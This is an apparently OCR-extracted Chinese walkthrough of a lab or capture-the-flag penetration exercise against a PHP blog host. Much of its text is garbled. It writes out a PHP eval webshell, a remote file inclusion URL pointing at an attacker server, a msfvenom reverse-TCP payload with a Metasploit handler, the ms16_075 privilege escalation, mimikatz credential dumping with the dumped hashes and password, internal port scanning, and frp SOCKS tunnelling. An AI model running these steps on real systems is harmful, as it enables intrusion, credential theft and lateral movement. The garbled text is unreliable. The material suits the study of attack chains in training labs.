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kali_operating kit

net
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What was used to make this Blog

Posted on in Coding

This blog is put together with:
PHP, Less Css, Bootstrap CDN, Font Awesome HTML5

This is text that has been Edited !
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</ul>
</div>
<br /=
</div=

<div class="post"=
<h2><i class="icon-quote-left"=anbsp;&nbsp;</i»<a href="index.php?id=32">This Blog is coded with PHP</a=</h2>
<small> Posted on in <a href="category.php?id=9">PHP</a>
</small>
<p class="post-content">This is a simple blog with not much to it. It can be extended... the sky is the limit!</p>
<div class="post-functions">
<ul>
<li»<a href="delete post.php?id=32"> Delete this post</a></li>
<li»<a href="edit post.php?id=32"> Edit post</a></li>
</ul>
</div>
<br /=
</div=

<div class="post">
<h2=<i class="icon-quote-left"=tnbsp;&anbsp;</i=<a href="index.php?id=31">Ghostlab</a></h2>
<small> Posted on in <a href="category.php?id=8">Ghostlab</a>
</small>
<p class="post-content">Ghostlab is a Mac app that lets you sync and test your responsive websites like a champ.</
<div class="post-functions">
<ul>
<li=<a href="delete post.php?id=31"> Delete this post</a»</li=
<li=<a href="edit post.php?id=31"> Edit post</a=</li=
</ul>

</div>
<br />
</div=

<!-- inc.php?temple=index.php --> </div>
</div>
<fdiv>

(Es52: IGEXHBERR (T- 1059 G5S{THRE. T-1083 XHSEFREM. T- 1105 TEXHEN,
T- 1189 MBHEDIE. T- 1202 [EHEHSHIT. T- 1203 FIAEFIGRFAREHITIR)

AR5 RS RS IR, AT OB RS B TR R 5 a8 KA 1 — A)iE AR S (webshel)
IS % Hewebshe, fiiffiMetasploi t TH SRS A ETCPERE, HINA R T4 TR AERAE

AR, IR A TSR RS HHAT, BT RS A IS R AT AT
WS —3 PRI S M # TR, TSR, bk, TR LA A S5 68
Metasploitsg s IR 2 IRl a TR, 8 7B 2y A — S4B TR, 1 fd B =8 R H 1 5 ) 773258
B AR A I o
A5 0] Ll i LR R S R
F2Ekali_operation_kitRE L E— M —TIERIHI, R python B34 &,
fekali_operation_kitsREFIF£&iw, BAGE< touch 1.php FHEMH, BABEA:
vim 1.php //4#83C1F
a //fA
<?php @eval($_POST['pass']);?> //ARENE

FEscHEE

A iwq  HEATIRAF
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root@kali: ~/Desktop
File A s Edit Vi Help
root@kali: ~/Desktop L]

B7php @eval($ [ ;R

ERES A TR LEEZWebIRSS :

python -m SimpleHTTPServer 800

root@kali: ~/Desktop
Help
root@kali: ~/Desktop Ll

Ja=</li>

# touch 1.php
# vim 1.php
# python -m SimpleHTTPServer 800

Serving HTTP on 0.0.0.0 port 80 ...
php?id=32"sThis Blog is coded with PHPRE AR ) el [ B

ry.php?id=9">PHP</a>

it. It can be extended... the sky is {

Jaz</li>

php?id=31">Ghostlab</a»</h2>
ry.php?id=8">Ghostlab</a>

nc and test your responsive websites 1i

Ja=</li>

LEREAIFBEERAITEMEERE, SaIIRHhIN—DEARDIE,
(eSS R3]

192.168.1.190/1inc.php?temple=http://66.66.66.66:800/1.php



Simple PHP b

& c o @ [192.168.1.190finc.php?temple=http://66.66.66 php

Kali Linux Kali Training Rali TOOLs QY Rall DULS Kdll FOTUITS INELHUNET Gy Uilensive Security Exploit-DB GHDB & MY

[ 2 RRERIIIREN.

root@kali: ~/Desktop

root@kali: ~/Desktop

T # python -m SimpleHTTPServer 800

Serving HIIP on ¥.¥.80.¥ port Bu¥ ...

192.168.1.190 - - [20/Jan/2022 02:33:35] "GET /1.php HTTP/1.0"
|

WS TIRE, BifERnE e SRmRErEErN—aiE.
HENWEIER, AR T IHRR, BAGSE:

./AntSword



froot/Desktop/tools/antswor Sword-Loader-v4.0.3-linux-x64/

resources swiftshader ror chrome_100_perc chrome_200_perc icudtl.dat

ent.pak

logo.png natives_blob.bin resources.pak apshot_blob.bin v8_context_snapsh
ot.bin

B Create Folder...

B Create Document

] Open Terminal Here

Arrange ltems

B Zoom In
B Zoom QOut
B Mormal Size

Properties...

A Edit v Help
root@kali: ~/D....0.3-linux-x64 &

# ./AntS
wordll

BirAETAL AT Add , BiAshel fBEF125RE, Mih Test Connection , SUIHRINE =T Add 5BAk
iﬁbnb

Add
M Add shell -0Ox >
1 . [ Default
© Add X Clear <2 Test Connection
BB w
Shell url = hitp:i/192.168.1.190/inc php?temple=http://66.66.66.66:800/1.php

Shell pwd * pass

Note
Encode UTF8 w
Shell type FPHP »
+) default (Not recommended)
random (Not recommended)
hase64
-
@ HTTP ~

of Other A




RIS ur A LAEER Birub e B R,

« = (5 192.168.1.190
(3 Folders (3)
=[] cv
=1 phpStudy
=1 www
| s
img
includes

less

TESOUICEs

<

£ www B R NARFTFRIR,

[3 Folders (3)
=y
=[] phpStudy
= www
css
img
includes

less

TESOUNCES

<

[ Files (15)
Q New ~ 4 UP 2 Refresh # Home M Bookmark Cu/phpStudyWwwi 2 Rea
Name Time Size Attr
D €5 2020-01-14 03:44:43 ob oOF7
D img 2020-01-14 03:44:43 ob OF7
O includes 2022-01-21 15:56:18 ob oF7
D less 2020-01-14 03:44:43 0b 07
D TESOLUITES 2020-01-14 03:44:43 0b oF7
@ add_category.php 2016-04-29 19:39:34 192 Kb [u:
add_post.php 2016-04-29 19:39:34 2,19 Kb 0666
@ category.php 2016-04-29 19:39:34 1.31 Kb 0666
category_list.php 2016-04-29 19:39:34 626 b ul: &
@ delete_category.php 2016-04-29 19:39:34 202b 0666
delete_post.php 2016-04-29 19:39:34 192b [ul:
[B  edit_post.php 2020-01-14 00:34:58 2.34 Kb 0666
@ flag.txt 2020-07-02 13:38:13 23b 0666
@ inc.php 2020-01-14 00:45:48 153 b 0666
index.php 2020-01-15 09:45:16 14 Kb 0666
KIE www BRTFE— flag. txt X, S flag. txt BIRE:
[ Files (15)
Q New 4 Up & Refresh A Home A Bookmark Co/phpStudy/Www/ = Reac
Name Time Size Atir
D 55 2020-01-14 03:44:43 ob 0777
D img 2020-01-14 03:44:43 ob 0777
3  includes C Refresh 2022-01-21 15:56:18 0b 0777
D less & WGET 2020-01-14 03:44:43 0b 0777
D TesSOUrces X Upload 2020-01-14 03:44:43 0b 0777
@ add_category.php & Do 2016-04-29 19:39:34 1.92 Kb 0666
add_post.php 2016-04-29 19:39:34 219 Kb 0666
@ category.php 2016-04-29 19:39:34 1.31 Kb 0666
category_list.php 2016-04-29 19:39:34 626 b 0666
@ delete_category.php 2016-04-29 19:39:34 202b 0666
delete_post.php 2016-04-29 19:39:34 192b 0666
[# edit_postphp 2020-01-14 D0:34:58 234 Kb 0666
B flagtx ; file M= | 5020-07-02 13:38:13 23b 0666
| C |
@ inc.php 153 b 0666
index.php © Create 1.4Kb 0666

MANGSEENMN:

type flag.txt

RIRAE, (EFAMSFITIRIUR(E.

Open Terminal Here




a
C:\phpStudy Wa:

phpStudy®
is

C:\phpStudy\Wiw> [

EREEFIAF— K, FiIBmsfvenom&ER— " msf windowsalH#{T/5i7:

msfvenom -p windows/meterpreter/reverse_tcp Thost=66.66.66.66 Tport=6666 -f exe
-0 shell.exe

root@kali: ~/Desktop
File A Edit View Help
root@kali: ~/Desktop x

3 # msfvenom -p windows/meterpreter/reverse_tcp lhost=66.6
6.66.66 lport=6666 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module:: Platform::Windows from
the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73882 bytes
Saved as: shell.exe
. # 1

ERNSINEFBE RS, BirGRTELIER Upload, HERMNEMNET] exetlHUTIER.



4 =a [0 192.168.1.190 > 192.168.1.190

[ Folders (5) < | | [JFiles (15)
= cv ONew = DUP 2 Refresh # Home M Bookmark - Cu/phpStudy WwWwy/ < Rea
=] phpStudy ) .
- Name Time Size Atir
= www
O css 2020-01-14 03:44:43 ohb 0777
M s
M img 0O img 2020-01-14 03:44:43 ob 0777
M includes (O  includes £ Refresh 2022-01-21 15:56:18 ob 0777
less less 2020-01-14 03:44:43 0b 0777
in o & WGET
Bl resources O  resources & Upload 2020-01-14 03:44:43 ob 0777
add_category.ph 2016-04-29 19:39:34 1.92 Kb 0666
B add_post.php 2016-04-29 19:39:34 219 Kb 0666
2 £ Copy
category.php 2016-04-29 19:39:34 1.31 Kb 0666
category_list.phy 2016-04-29 19:39:34 626 b 0666
delete_category. 2016-04-29 19:39:34 202b 0666
delete_post.php 2016-04-20 19:39:34 192 b 0666
edit_post.php 2020-01-14 00:34:58 234 Kb 0666
@ flag.txt 2020-07-02 13:38:13 23b DEG6
inc.php 2020-01-14 00:45:48 153h 0666
index.php © Create 2020-01-15 09:45:16 1.4 Kb 0666

>_ Open Terminal Here

< #root WA Deskiop

s 1.php 32 bytes Program 22:54
B shellexe 73.8kB  Program 23:02

tools Yesterday

=

3-linux-x64

FIF &, FIBmsHFEET.

msfconsole

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set Thost 66.66.66.66

msf5 exploit(multi/handler) > set Tport 6666

msf5 exploit(multi/handler) > run



Edit
root@kali: ~/Desktop

HRXLEREXELXXLEXLRELREAEXELXEL Hacked: ALL the things XEEXXEXXEREXEEXELEXLEELS
p5 555
P SRS SRS SRS SR RS S S EESE SRS SRS SRR RS SRS SRS SRR SRS RS EERE S SRS S SRS S
FHHHX

Press SPACE BAR to continue

=[ metasploit ~-dev
1947 exploits - 1@89 auxiliary - 333 post
556 payloads - 45 encoders - 1@ nops
7 evasion

> use exploit/multi/handler
exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
msf5 exploit( ) > set lhost 66.66.66.66
lhost = 66.66.66.66
msf5 exploit( ) » set lport 6666
lport = 6666
msf5 exploit( )} > run

Started reverse TCP handler on 66.6t.66.66:6666

RS BA WS EEAERT), BEERIE— M RSEERAImeterpreteria,

« = [ 192.168.1.190 > 192.168.1.190  Refresh
O Folders (5 Files (16
(5) <« 0O (16) & WEET
= cr ONew ~ AUP 2 Refresh X Upload C/phpStudy Www/ < Real
=71 phpStudy
PPSIICY Name & Download Time Size Attr
=7 www
- @ _category.php € Copy 2016-04-29 19:39:34 1.92 Kb 0666
€55
M img add_post.php 2016-04-29 19:39:34 2.19 Kb 0666
M includes category.php 2016-04-29 19:39:34 1.31 Kb 0666
M less category_list.php & Edit 2016-04-29 19:39:34 626 b 0666
Bl resources delete_category.php W Delete 2016-04-29 19:39:34 202b 0666
Ty A Rename
delete_post.php A 2016-04-29 19:39:34 192b 0666
@ Modify the file time
[# edit_postphp o Chmod 2020-01-14 00:34:5: 2.34 Kb 0666
B flagwa 23b 0666
N © Create
inc.php 153 b 0666
>_ Open Terminal Here
index.php 2020-01-15 09:45:16 1.4 Kb 0666
‘ shell.exe 2022-01-22 13:18:46 72.07 Kb 0777
& Tasks
Name Description Status StartTime EndTime

Upload shell.exe => Cu/phpStudy/Www/ Upload success! 2022-01-22 00:18:46 2022-01-22 D0: 18:46



File Actions Edit View Help
root@kali: ~/Desktop L1

HREXREEXLEXLEXLLLLXLLEALEAX Hacked: ALL the things XEERXREEXXEEEXLEXLLEXELLN

SHRBHE

S SS RS EEEEER AR SRS SRS VRS S SRR S SRR RS S S] AntSword
5555 9

AntSword Edit Window Debug

Press SPACE BAR to continue > 192.168.1.190 5 192.168.1.190

=[ metasploit v5.@.60
1947 exploits - 1089 auxlllary - 333 post
556 payloads - 45 encoders - 1@ nops
+ — —=[ 7 evasion c: \phpstudy Wb >

msf5 > use exploit/multi/handler C:\phpStudy\Wew> s
msf5 exploit( ) » set payload windows/metei

payload = windows/meterpreter/reverse_tcp

msf5 exploit( ) » set lhost 66.66.66.66

lhost = 66.66.66.66

msf5 exploit( ) > set lport 6666

lport = 6666

msf5 exploit( ) > run

Started reverse TCP handler on 66.66.66.66:6666
Sending stage (180291 bytes) to 192.168.1.190
Meterpreter session 1 opened (66.66.66.66:6666 — !

meterpreter > []

(£533: EBAPIRREF (T-1059 sGiSITHRE. T- 1068 FIAERRAEITINRIZF)

AT A P AR T . R I IS iE Hewebshe 1T , EFRFIMENIR R MFE flag. txt3ff,
B A RTER A IR AR EE Flag. txt; fEAms Frb i 5 B iR Dt 4700 52 A AR T

FE P ALRIRTE, 2 RO 21 O B, Tovh A A AR v ) — S e B SO A i B RR R A s SR gl
AT IR, AH SRR, AT AUREETT, SR A B SR AT R A3 A

IZAL S5 AT LU AN B AR S8 R

HAfiJEmeterpreteriEH{FR getuid MSEEIRAPSIR, AR HEAK:

root@kali: ~/Desktop =

AXRRAEEXXLEXEREAXREALEXXEEX Hacked: ALl the things XXREEXEXEXERXXLXXEREAENRK
HREEK
HRBERHIRLRRLRRERLIRLLRELLERLIRHHIEH LRI EXIEI XTI LB LRIHRIERBIRLLRELRLHRTLR
KRR

Press SPACE BAR to continue

=[ metasploit v .60-dev
1947 exploits - 1089 auxiliary - 333 post
556 payloads - 45 encoders - 1@ nops
+ — —=[ 7 evasion

msf5 > use exploit/multi/handler
sf5 exploit( ) > set payload windows/meterpreter/reverse_tcp

payload = windows/meterpreter/reverse_tcp
msf5 exploit( ) > set lhost 66.66.66.66
lhost = 66.66.66.66

) > set lport 6666
) > run

Started reverse TCP handler on 66.66.66.66:6666
Sending stage (180291 bytes) to 192.168.1.19@
Meterpreter session 1 opened (66.66.66.66:6666 — 192.168.1.190:49184) at 2022-01-22 00:19:11 -0500

meterpreter > getuid
Server username: SCENE\webuser

meterpreter > |

A& meterpreteriEfER backgrounp e HEIRSE, FRMSIETRY
expexp10'it/W'indows/1oca1/m516_075_ref1ect1'0n_ju1'cyiﬂ‘%ﬁﬁﬁ&ﬁf}%&°


af://n93

use exploit/windows/local/ms16_075_reflection_juicy
set session 1
run

root@kali: ~/Desktop

File Actions Edit View Help
root@kali: ~/Desktop Ll

Meterpreter session 1 opened (66.66.66.66:6666 — 192.168.1.190:49184)

meterpreter > getuid

Server username: SCENE\webuser

meterpreter > background

msf5 exploit( exploit/windows/local
/ms16_@875_reflection_juicy

msf5 exploit( > set session 1
session = 1

msf5 exploit( ) > run

s\phpStud
:\phpStud

Started reverse TCP handler on 66.66.66.66:4444

Launching notepad to host the exploit...

Process 1528 launched.

Reflectively injecting the exploit DLL into 1528...

Injecting exploit into 1528 ...

Exploit injected. Injecting exploit configuration into 1528 ...

Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to
complete.

Sending stage (180291 bytes) to 192.168.1.190

Meterpreter session 2 opened (66.66.66.66:4444 — 192,168.1.190:49189)
at 2022-01-22 @0:21:36 -0500

meterpreter > |

LERBAIEEIAE T EERTUR, B shell HARE LK :

root@kali: ~/Desktop

File Actions Edit View Help
root@kali: ~/Desktop %

Configuration injected. Executing exploit ...
[+] Exploit finished, wait for (hopefully privileged) payload execution to
complete.

Sending stage (180291 bytes) to 192.168.1.19@ | _ : :

Meterpreter session 2 opened (66.66.66.66:6464 — 192.168.1.190:469189) ##Rehesh | M Home | WBookmark ~ | | C:/phpStudyrw
at 2022-01-22 00:21:36 -0500

Time
meterpreter > getuid ¥
Server username: NT AUTHORITY\SYSTEM AOLAS A
meterpreter > shell 2016-04-2¢
Process 316 created.

Channel 1 created. 2016-04-2¢
Microsoft Windows [Version 6.1.7608] 2016-04-2:
Copyright (c) 2809 Microsoft Corporation. ALl rights reserved. i
EERE R TR flag. txt 344, flaghihisERy:
type c:\phpstudy\www\flag.txt
C:\Windows\system32>type c:\phpstudy\WWW\flag.txt 2020-01-1
type c:\phpstudy\Www\flag.txt 2020-01-1
ajlsdfals242084dajlw23s .

C:\Windows\system32>[| 2022-01-

(ES34: MEVRFAAIBR (T - 1041 ERGSSIERIEER. T- 1059 asS{THE. T-1105ixiEX
HEN. T- 1202 [EiEaGHESHIT)

ARSI ARG P . FHZEEEmimikatz TR, ERM S GHTIR S 2HRIE RGN R G H ARG
.

mimikatzit KUK I RGBT ARSI T, Al LR Ik TR 3RE windows 45 R 48 LI HI - A0t
InghE2 TR

ZAES5 T LA PAF 4 78 B


af://n106

Bl MG KEtoolsBR TR mimikatz. exe EERIBHRHRAY C: /phpstudy/www/ BRT, EERIIZ
5, EETREERED.

e e 192.168.1.190 > 192.168.1.190

Help ¢ [IFiles (17)

[root/Desktop/tools/ ONew v HUP L Refresh # Home N Bookmark - C:/phpStudy/wv
Name Time
add_post.php 2016-04-29
category.php 2016-04-29
burp2.1 _
category_list.php 2016-04-29
delete_category.php 2016-04-29
delete_post.php 2016-04-29
PortScan edit_post.php 2020-01-14
flag.txt 2020-07-02
inc.php 2020-01-14
index.php 2020-01-15
-Ra"_.;ing Venom mimikatz.exe mimikatz. exe 2022-01-22
shellexe 2022-01-22
= Tasks
Name Description Status

items: 983.1 KiB (1,006,744 bytes), Fre o .
11items: 983.1 KiB (1,006,744 bytes), Free mimikatz.exe => Cx/phpStudy/ www/ Upload success!

shell.exe == CuphpStudy/Wwwy Upload success!

R SEN B EERERHRZE] pass . txt 1,

cd c:/phpstudy/www
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pass.txt

root@kali: ~/Desktop
File Actio
root@kali: ~/Desktop

exit
meterpreter > get uid

Unknown command: get.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sehll

2 Refresh # Home M Bookmark C:/phpStudy/™w

Unknown command: sehll. B
meterpreter > shell 2016-04-2
Process 2380 created.

Channel 3 created. 2016-04-2
Microsoft Windows [Version 6.1.7600]

Copyright (c) 2089 Microsoft Corporation. All rights reserved. 2016-04-2
C:\Windows\system32>type c:\phpstudy\Www\flag.txt DI
type c:\phpstudy\WwW\flag.txt 2016-04-2
ajlsdfals242084dajlw234

C:\Windows\system32>cd c:/phpstudy/Www 2020-01-1
cd c:/phpstudy/www 2020-07-0
c:\phpStudy\Www>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 2020-01-1
"exit" > pass.txt

mimikatz.exe "privil. -:debug" "sekurlsa::logonpasswords" "exit" > pass.tx 2020-01-1
& 2022-01-2
c:\phpStudy\www>[ 2022-01-2

G TERY c: /phpstudy/www/ BRTRIF—T.



« 2 (9192.168.1.190

»_ 192.168.1.190

>_ 192.168.1.190

[0 Folders (3) ¢ [Files (17)
= cu O New - 4 Up & Refresh # Home M Bookmark Cu/phpStudywww/ ¥ Rea
=1 phpStudy .
MName Time Size Atir
= www
add_post.php 2016-04-29 19:39:34 2.19 Kb 0666
o ocss
M img category.php 2016-04-29 19:39:34 1.31 Kb 0666
B includes category_list.php 2016-04-29 19:39:34 626 b 0666
M less delete_category.php 2016-04-29 19:39:34 202b 0666
I esources @ delete_post.php 2016-04-29 19:39:34 192h 0666
edit_post.php 2020-01-14 00:34:58 234 Kb 0666
@ flag.txt 2020-07-02 13:36:13 23b 0666
inc.php 2020-01-14 00:45:48 153b 0666
index.php 2020-01-15 09:45:16 1.4 Kb 0666
‘ mimikatz.exe 2022-01-22 13:25:59 983.15 Kb 0777
‘ shell.exe 2022-01-22 13:16:46 72.07 Kb o777
& Tasks
Name Description Status StartTime EndTime
Upload mimikatz.exe == C:/phpStudy/ Www/ Upload success! 2022-01-22 00:25:58 2022-01-22 D0:25:59
Upload shell.exe => Cu/phpStudyrwwwy/ Upload success! 2022-01-22 00:18:46 2022-01-22 00:18:46

¥ pass. txt FEEIRHE,
=R

B&BE pass.txt X, AJLARIEERS Adninistrator EERINERE

( 2 [D192168.1.190 >_ 192.168.1.190 >, 2 Refresh
(3 Folders (3 Files (18]
) ¢ ||DFiles®) | o Er
= cv QO New &, Upload ame A Bookmark - Ci/phpStudyWwwi < Reac
=) phpStudy
phpStudy Name <& Download Time Size At
=1 www {
- category £ Copy 2016-04-29 19:39:34 131 Kb 0666
css
M img categor] I Paste 2016-04-29 19:39:34 626 b 0666
Iy *
B includes delete_g 2016-04-29 19:39:34 202b 0666
B less delete_| [ Edit 2016-04-29 19:39:34 192b 0666
B resources edit_po @ Delete 2020-01-14 00:34:58 234 Kb 0666
A Rename _
@ flag.txt 2020-07-02 13:38:13 23b 0666
. @ Modify the file time
inc.php 2020-01-14 00:45:48 153 b 0666
& Chmod
index.pl 2020-01-15 09:45: 16 1.4 Kb 0666
N © Create
- mimika 2022-01-20 16:38:18 983.15 Kb 0777
Open Terminal Here
@ pass.txt 2022-01-20 16:39:43 3.74 Kb 0666
‘ shellexe 2022-01-20 16:35:22 72.07 Kb 0777
& Tasks
Name Description Status StartTime EndTime
Download Cu/phpStudy/WWww./pass.txt Download success! 2022-01-20 03:40:33 2022-01-20 03:40:37
Upload mimikatz.exe => Ci/phpStudy/ Www/ Upload success! 2022-01-20 03:38:18 2022-01-20 03:38:19

Upload shell.exe == Cu/phpStudy/Www/

Upload success!

2022-01-20 03:35:23

2022-01-20 03:35:23



tspkg :
wdigest :
kerberos :
SsSp :
credman :

Authentication Id : @ ; 59885 (00000000:0000e%ed)
: Interactive from 1
: Administrator
: SCENE
: SCENE
1 1/22/2022 3:38:43 AM
1 §5-1-5-21-2718660907-658632824-2072795563-500

[00000003] Primary
* Username : Administrator

* Domain : SCENE
* NTLM : 0140aa0d28865fde940699f5df5d8fla
* SHA1 : 2f1882913e2b95d525e5cc796a2183e68f2cf676
tspkg :
* Username : Administrator
* Domain : SCENE
* Password : websitePassword
wdigest :
* Username : Administrator
* Domain : SCENE
* Password : websitePassword
kerberos :
* Username : Administrator
* Domain  : SCENE
* Password : websitePassword
F5p

credman :

BER=: MMEStRiE =SS

{E535: IERRMEEEN (T - 1040 RILIREE. T- 1046 MEIRSZIAME. T- 1059 HSTRE. T-
1105 iZfEX (M, T - 1595 E&hiTHE)

ZARSS N A IS EN L. IR ZEEE — S A RIS TR, X TP K AT AL 15 B se; sk
FRWBIIE S, TTEURET RN T N R RS E

R T B, AT LSS A I B X BGREAT SRR, R30I I e A B T P R BT TR 3 1, B E N R
—BEENA AR RS, RETTRm FE R, W B E IR

AR T LU AN B 58

B TREA ) LA s RIMubER S5 88AY C: /phpstudy/www/ BRTT. siAfEsaditit

79 /root/Desktop/tools/PortScan,

Edit View Help

%
PaortScan - File Manager

Edit View

& ~r A froot/Desktop/tools/PortS W Bookmark = | CphpStudy/WwWw/

DEVICES Time
_E File System . fE' 'El . 2016-04-29 19:39:34

E thinclient_dri... 2016-04-29 19:39:34
scan.py socks.py  use.txt

PLACES ’ 2016-04-29 19:39:34

I root 2016-04-29 19:39:34
2020-01-14 00:34:58
2020-07-02 13:38:13

NETWORK 2020-01-14 00:45:48

imi 2020-D1-15 09:45:16
b pass.txt D Browse Ne
.exe "privil 2022-01-22 13:25:59
2022-01-22 13:27:43

udy\Ww>(] 2022-01-22 13:18:46

Status StartTime

4 items: 57.2 KiB (58,537 bytes), Free spa
) Download success! 2022-01-20

mimilaty eve = ConhnShdwWAWW Y Tnlaad snecacsl NI


af://n118
af://n119

cy ONew v~ AUP Z Refresh # Home W Bookmark - C/phpStudy/www/ & Read
[ phpStudy )
Name Time Size Atir
=7 www
M s category_list.php 2016-04-29 19:39:34 626 b 0666
M img delete_category.php 2016-04-29 19:39:34 202 b 0666
M includes delete_post.php 2016-04-29 19:39:34 192 b 0666
B less [# edit_postphp 2020-01-14 00:34:58 2.34 Kb 0666
B resources @ flag.txt 2020-07-02 13:38:13 23b 0666
inc.php 2020-01-14 00:45:48 153 b 0666
index.php 2020-01-15 09:45:16 1.4 Kh 0666
‘ mimikatz.exe 2022-01-22 13:25:59 983.15 Kb 0777
@ pass.txt 2022-01-22 13:27:43 3.74 Kh 0666
‘ s.exe 2022-01-22 13:32:48 22 Kb 0777
‘ shelle 2022-01-22 13:18:46 72.07 Kb 0777
= Tasks
Name Desqiption Status StartTime EndTime
Upload s.exe == Ci/phpStudyWww/ Upload success! 2022-01-22 00:32:48 2022-01-22 D0:32:48
Download Ci/phpStudy/WWW/pass.txt Download success! 2022-01-22 00:30:39 2022-01-22 00:30:44
Upload mimikatz.exe == C:/phpStudy/www/ Upload success! 2022-01-22 00:25:58 2022-01-22 00:25:59
Upload shell.exe => C:/phpStudy/Www/ Upload success! 2022-01-22 00:18:46 2023-01-22 00:18:46

fEmeterpreterfyshell & RN AP SXIMIuEARSS BSAVEE N B T3S

512

s.exe tcp 192.168.1.1 192.168.1.254 80,443,3306,1433,3389

root@Kali: ~/Desktop

C:\Windows\system32>type c:\phpstudy\Www\flag.txt
type c:\phpstudy\Www\flag.txt
ajlsdfals242084dajlw234

C:\Windows\system32>cd c:/phpstudy/Www

v »_ 192.168.1.190
k (19)

cd c:/phpstudy/wWaW ~ MUP 2 Refresh # Home A Bookmark
c:\phpStudy\Www>mimikatz.exe "privilege::debug” "sekurlsa:: logonpasswords" R
"exit" > pass.txt  list.oh
mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > pass.tx f SIS E
1 delete_category.php
c:\phpStudy\WWW>s.exe tcp 192.168.1.1 192.168.1.254 80,443,3306,1433,3389 delete_post.php
512 .
s.exe tcp 192.168.1.1 192.168.1.254 80,443,3306,1433,3389 512 edit_post.php
TCP Port Scanner Vi.2 flag.txt
nmal S 284.ID.For 5 Ports Using 512 Thread inc.php
92.168.1. index.ph
192.168.1.102 3389 T
192.168.1.19@ 80 mimikatz.exe
192.168.1.190 3306
192.168.1.190 3389 pass.txt
Sidil £54% IFS CUMPLELE 1i v nuurs v sMinutes 9 Seconds. Found 5 Hosts
S.exe
c:\phpStudy\www>l shell.exe
Description Stat
s.exe == Ca/phpStudyWww/ Uplo

BAIRIMFE—Eip/ 192.168.1.102 HIARSZ2EFFA T 80513389 .,
B4R mEENE, mSuT:

s.exe tcp 192.168.2.1 192.168.2.254 3389,443,80,1433,3386 512



root@kali: ~/Desktop

File Actions Edit View Help

root@kali: ~/Desktop

512 »_ 192.168.1.190
s.exe tcp 192.168.1.1 192.168.1.254 80,443,3306,1433,3389 512
TCP Port Scanner V1.2 p (19)

Normal Scan: About To Scan 254 IP For 5 Ports Using 512 Thread ST & Refresh O T | JRe
192.168.1.182 80 Open

192.168.1.182 3389 Open REE

192.168.1.19@ 80 Open
192.168.1.190 3386 Open
192.168.1.190@ 3389 Open delete_category.php
Scan 254 IPs Complete In @ Hours @ Minutes 9 Seconds. Found 5 Hosts

category_list.php

delete_post.php
;i;phpsmdy\mﬂbs.exe tcp 192.168.2.1 192.168.2.254 3389,443,80,1433,3386 edit_past.php
s.exe tcp 192.168.2.1 192.168.2.254 3389,443,80,1433,3386 512 flag.txt
TCP Port Scanner V1.2

inc.php
Normal Scan: About To Scan 254 IP For 5 Ports Using 512 Thread index.ph
192.168.2.125 3389 Open index-pap
192.168.2.177 3389 Open i
192.168.2.177 80 Open

192.168.2.177 443  Open pass.txt
Scan 254 IPs Complete In @ Hours @ Minutes 3 Seconds. Found &4 Hosts

s.exe

c:\phpStudy\www>[| shell.exe
s

Description Staty

s.exe == Ci/phpStudy/wWww/ Uploa

BAlI&I192.168 2MBIAEMEFE L

{Es36: IREAMIEBHR (T - 1059 SR STTHRE. T- 1090 FEENE, T- 1105 iZEXHEN, T-
1202 [EHERRSHAT. T- 1572 REEHNHY)

AR BB N BB . PRI AR A EAUS . IR ZE B E A AR B, HE T A R A 4L
BEAT BE— 2B HBE N

WIRACERBER, ARSI P AL, TEikiim R CAF P FERRIERMD BTN, (B IR LA AT BL; 1)
SRR, FRATTAT AR AR A, A A PRARER B, ST SRR R S0 o 4 AL B SRR S 1, BEAT 0 P R L
B I -

AR AT LU BLR #AF 58

Bell) L& frp TREZIMuAARSS 569 C: /phpstudy/www/ BRT, frp LERIEZNT:

frp - File Manager
File Edit View Go Help

< N A Jroot/Desktop/tools/frp/

DEVICES

B thinclient_dri.. =
PLACES
I root
- | Desktop
' Trash
NETWORK
D Browse Netw...

frpcexe  frpcini  frps.exe  frps.ini

ERfrpc.inisZi4, REUT:


af://n132

[root/Desktopftools/frpffrpe.ini - Mousepad

File Edit Searc ¢ Document Help

= tcp

= socks5

Bfrpc.inifdfrpc.exeX i HEEWEITE :

£ Tasks v

Name Description Status StartTime EndTime

Upload frpc.ini == Ci/phpStudy/Www/ Upload success! 2022-01-20 20:50:58 2022-01-20 2(:51:12

Upload frpc.exe == Ci/phpStudy wwwy Upload success! 2022-01-20 20:50:58 2022-01-20 20:51:12

FEwin10_operation_kitF=#7$TFFfrp3i4sk:

Rolan @ aQ = X
Webshell . :
{ ]
G bl
Intranet
ew reGeorg-master Proxifier.exe - SocksCap64 SocksCap64 P_Portscan
information ga Shortcut (Administrator (Normal User

" (3

Loophole utilizat| 0

Packet change “
mimikatz MS14-068 frp

other

XA SAV=A cmdFFEIZEF T H <17 :



Home Share Wiew 0
T2 HH select an
te v i v
' il e . Select none
Pin to Quick : M e Properties -
access ] ©4 folder - &£ History 17 Invert selection
Lnpooard Taanize Ew Upgh Select
T cmd vl Jearchip p
crd
N " Type Size
Search for "cmd ¥P
A Quick Jccess
pra £

I Desktop 4

(%] frpc.exe & 10,234 KB
“ Downlozds | frpc.ini Configuration sett... 1 KE
Documents 5 frpe_full.ini Configuration sett... 10KE
&= Pictures (7] frps.exe n KB
Dic 22| frps.ini DR Configuration sett... 1KB
i Local Disk (C2) 2| frps_fullini 2021 2201 PM  Configuration sett., K
Redishanager | LICEMSE 10/25/2021 2201 PM  File 12 KB
tools
@ OneDrive
[ This PC

BN < 2 frpfRSSin :
frps.exe -c frps.ini

= Allow access :

Administrator: CAMWIndows\System3emd.exe - frps.exe -c frps.ini

ows [Version 18.6.171 1]
Microsoft Corporation. ALL righ reserved.

‘Windows Defender Firewall has blocked some features of frps.exe on all public networks.,
il MName:

Publisher: Unknown

Path: C:\toolsifrp\frps.exe

Allows frps.exe to communicate on these networks:

[v] Public networks, such as those in airports and coffee shops (not recommended
because these networks often have fittle or no security)

what are the risks of allowing an app through a firewall? l:?

Allow access

frofRSZimEsNRL :



